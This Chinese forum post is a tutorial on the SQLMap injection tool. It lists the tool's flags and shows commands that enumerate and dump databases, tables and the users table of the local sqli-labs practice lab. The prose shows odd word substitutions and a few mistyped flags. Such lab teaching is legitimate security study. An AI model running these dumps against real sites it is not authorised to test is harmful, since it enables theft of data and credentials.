SQLMap工具使用

打印 上一主题 下一主题

主题 1742|帖子 1742|积分 5226

一、SQLMap介绍

SQLMap 是一款强盛的开源主动化 SQL 注入工具,用于检测和利用 Web 应用程序中的 SQL 注入漏洞。其工作原理是SQLMap 通过向目的 URL 发送带有特殊构造的 SQL 语句的请求,观察目的应用程序的相应,来判定是否存在 SQL 注入漏洞。例如,它会实验在 URL 参数中添加单引号、解释符号等特殊字符,观察应用程序是否返回非常信息。假如发现存在漏洞,SQLMap 会根据漏洞类型和目的数据库的特点,构造符合的 SQL 注入语句,以获取所需的信息或执行命令。例如,通过联合查询注入,可以将恶意查询与原查询合并,从数据库中获取额外的数据。
SQLMap工具地点:
官方网站:sqlmap: automatic SQL injection and database takeover tool
https://sqlmap.org/
 GitHub项目地点:https://github.com/sqlmapproject/sqlmap
二、SQLMap使用前言

在使用SQLMap这款工具前,需提前安装好python编译工具,本次使用结合sqli-labs-master靶场举行演示

注意:在SQLMap安装目录下使用,如

赤色框住部分输入cmd,然后点击回车,进入命令行界面

三、SQLMap基本参数

可输入sqlmap.py --help 或 sqlmap/py -h 举行指令查察

-d         指定直接数据库连接得连接字符串,直接连接到数据库。
-u         指定URL目的
-I         从Burp或WebScarab代理得日志中解析目的
-m         扫描文本文件中给出得多个目的,批量扫描
-r         从文本中加载HTTP请求。 用 * 标记注入位置
-g         将Google Dork得结果作为目的URLh
-a                 获取全部信息
-current-user     获取DBMS当前用户
--current-db      获取DBMS当前数据库
--hostname         获取DBMS当前主机名
--is-dba         检测当前用户是否为管理员用户
--users         查询DBMS用户
--passwords     查询DBMS用户密码hash
--dbs             查询DBMS数据库
--tables         查询DBMS数据库中得表
--columns         查询DBMS数据库表得列名
--dump             查询转储DBMS数据库表
--dump-all         转储DBMS全部数据库表
-D db_name         指定要求罗列的DBMS数据库名
-T table_name     指定要罗列得DBMS表
-C column_name     指定要罗列得DBMS列
--batch         从不询问用户输入,使用全部默认配置
常用语法:
  1. 查看所有数据库:python sqlmap.py -u “url地址/?id=1” --dbs --batch
复制代码
  1. 查看某个数据库所有表名:python sqlmap.py -u "URL地址" -D 数据库名 --tables
复制代码
  1. 查看某个数据库下某张表下所有字段名:python sqlmap.py -u "URL地址" -D 数据库 -T 表名 --columns
复制代码
四、迈入实践,以sqli-labs-master靶场第一关为例:

1、打开sqli-labs-master中第一关Less-1

2、输入python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --dbs

3、成功获取全部数据库库名

4、获取数据库security下全部的表名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security --tables

5、获取数据库security下users表名下全部字段名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

6、获取数据库security下users表名下全部字段名的数据
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --dump

注:--dump命令请审慎使用,切勿违法使用,使用--dump参数后,将会在计算机当地天生一个.csv表格数据存储,里面包罗某个数据库某张表下全部字段的具体内容
五、拓展使用,以sqli-labs-master靶场为例子:

查询当前数据库:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-db

查询当前数据库用户:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-user

查询当前数据库版本信息:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -banner

那么SQLMap这款工具简朴介绍这里,SQLMap工具十分强盛,以上只是部分用法,更多具体用法可结合官方操纵文档去使用。




免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

温锦文欧普厨电及净水器总代理

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表